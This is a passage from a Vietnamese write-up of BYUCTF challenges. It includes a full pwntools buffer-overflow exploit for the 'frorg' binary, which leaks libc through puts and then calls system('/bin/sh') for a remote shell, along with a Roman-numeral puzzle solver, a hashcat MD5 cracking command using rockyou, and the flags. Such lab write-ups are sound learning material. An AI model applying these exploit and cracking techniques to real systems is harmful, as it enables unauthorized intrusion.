  • Vậy chúng ta đã hiểu cách hoạt động rồi nên chỉ wu đến đây thoi =)), các lần sau cũng tương tự như vậy thôi, có thể dùng one_gadget hoặc system chắc là đều được
Chú ý
  • Chỗ này tại sao phải tách ra 2 part thì do 4 byte null nó ở trên, nên mới phải tách binsh ra 4byte và 2byte và gửi vào chứ không được b"\0" * 4 + p64(binsh) vì nó đã 12byte rồi
binsh = next(libc.search(b'/bin/sh'))
part1 = (binsh & 0xffff)
part2 = binsh >> 16

sa(b"name: \n", b"\0" * 4 + p16(part1) + p32(part2))
  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('frorg_patched', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe


def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
                # b*main+159
                b*main+132
                c
                ''')
        input()


def info(msg): return log.info(msg)
def sla(msg, data): return p.sendlineafter(msg, data)
def sa(msg, data): return p.sendafter(msg, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)


if args.REMOTE:
    p = remote('byuctf.xyz', 40015)
else:
    p = process(exe.path)

GDB()

sla(b"store? \n", b"9")
for i in range(4):
    sa(b"name: \n", b"a" * 10)
payload = p64(0x0461616161) + b"aa"
sa(b"name: \n", payload)
sa(b"name: \n", b"\0" * 6 + p32(0x4011e5))

sa(b"name: \n", b"\0" * 4 + p32(0x404000) + b"\0\0")
sa(b"name: \n", b"\0" * 2 + p64(exe.plt['puts']))

sa(b"name: \n", p64(0x4011ea))
p.recvuntil(b"Thank you!\n")
libc_leak = u64(p.recvline(keepends=False) + b"\0\0")
info("leak libc: " + hex(libc_leak))
libc.address = libc_leak - 510432
info("base libc: " + hex(libc.address))

sla(b"store? \n", b"9")
for i in range(4):
    sa(b"name: \n", b"a" * 10)
payload = p64(0x0461616161) + b"\0\0"
sa(b"name: \n", payload)
sa(b"name: \n", b"\0" * 6 + p32(0x4011e5))
binsh = next(libc.search(b'/bin/sh'))
part1 = (binsh & 0xffff)
part2 = binsh >> 16

sa(b"name: \n", b"\0" * 4 + p16(part1) + p32(part2))
sa(b"name: \n", b"\0\0" + p64(0x000000000040101a))
sa(b"name: \n", p64(libc.sym['system']))
p.interactive()

image


MISC

xkcd 2637

  • Ta thấy server gửi cho ta 500 phép tính, nhìn thì tưởng là cộng bình thường, nhưng khum, nó là như thế này:
  • 101 + 1010101, tưởng là 1010202 nhưng mà khum phải, 101 > XI (10 là X, 1 là I), và 1010101> XXXI, và ta đổi 2 số này ra số thập phân là 11 và 31, cộng vào ra 42, và ta lại phải chuyển về số la mã là XLII, rùi ta lại phải chuyển thành 105011, đó mới chính là đáp án đúng
  • script:
from pwn import *

io = remote('byuctf.xyz',40014)

def roman_to_int(s):
    roman_numeral_map = {
        'I': 1, 'IV': 4, 'V': 5, 'IX': 9, 'X': 10, 'XL': 40,
        'L': 50, 'XC': 90, 'C': 100, 'CD': 400, 'D': 500,
        'CM': 900, 'M': 1000
    }
    i, num = 0, 0
    while i < len(s):
        if i + 1 < len(s) and s[i:i+2] in roman_numeral_map:
            num += roman_numeral_map[s[i:i+2]]
            i += 2
        else:
            num += roman_numeral_map[s[i]]
            i += 1
    return num

# Chuyển đổi số thập phân thành số La Mã
def int_to_roman(num):
    roman_numeral_map = {
        1: 'I', 4: 'IV', 5: 'V', 9: 'IX', 10: 'X', 40: 'XL',
        50: 'L', 90: 'XC', 100: 'C', 400: 'CD', 500: 'D',
        900: 'CM', 1000: 'M'
    }
    result = ''
    for value, numeral in sorted(roman_numeral_map.items(), reverse=True):
        while num >= value:
            result += numeral
            num -= value
    return result


def convert_numbers(string):
    conversion_rules = {
        "10": "X",
        "1": "I",
        "110": "IX",
        "1": "I",
        "5": "V",
        "50": "L",
        "100":"C",
        "500":"D",
        "1000":"M"
    }
    result = ""
    i = 0
    while i < len(string):
        found = False
        for rule in conversion_rules:
            if string[i:].startswith(rule):
                result += conversion_rules[rule]
                i += len(rule)
                found = True
                break
        if not found:
            result += string[i]
            i += 1
    return result
def reverse_convert_numbers(string):
    conversion_rules = {
        "X": "10",
        "I": "1",
        "I": "1",
        "IX": "110",
        "V": "5",
        "L": "50",
        "C": "100",
        "D": "500",
        "M": "1000"
    }
    result = ""
    i = 0
    while i < len(string):
        found = False
        for rule in conversion_rules:
            if string[i:].startswith(rule):
                result += conversion_rules[rule]
                i += len(rule)
                found = True
                break
        if not found:
            result += string[i]
            i += 1
    return result

io.recvuntil(b'flag!\n')
for i in range(500):
    x = (io.recvuntil(b'= ',drop=True).decode())
    lst = []
    lst = x.split(' ')
    send = ''
    if lst[1] =='+':
        a = convert_numbers(lst[0])
        b = convert_numbers(lst[2])
        num_a = roman_to_int(a)
        num_b = roman_to_int(b)
        x = num_a + num_b
        lama = int_to_roman(x)
        data = reverse_convert_numbers(lama)
        a = (data.encode("ascii"))
        io.sendline((a))
    if lst[1] == '*':
        a = convert_numbers(lst[0])
        b = convert_numbers(lst[2])
        num_a = roman_to_int(a)
        num_b = roman_to_int(b)
        x = num_a * num_b
        lama = int_to_roman(x)
        data = reverse_convert_numbers(lama)
        a = (data.encode("ascii"))
        io.sendline((a))
io.interactive()

Flag: không nhớ flag vì server đóng rùi :(((


Sanity Check

  • Check discord là được à :-1:

Flag: byuctf{yes_this_is_sanity_check_flag_race_for_who_gets_1st_blood}


006 I

  • Ta sử dụng hashcat để tìm lại bản rõ của hash này
  • Ta sử dụng command như sau:
hashcat -m 0 -a 0 -o cracked.txt 006_1.txt /usr/share/wordlists/rockyou.txt
  • tức là tấn công theo mã MD5 dựa vào danh sách các mật khẩu ở file rockyou.txt

  • Tiếp theo, để xuất hiện file cracked.txt, ta thêm --show ở sau command trên

  • Vào file cracked.txt là thấy được flag thui :v:

Flag:byuctf{brittishhottie}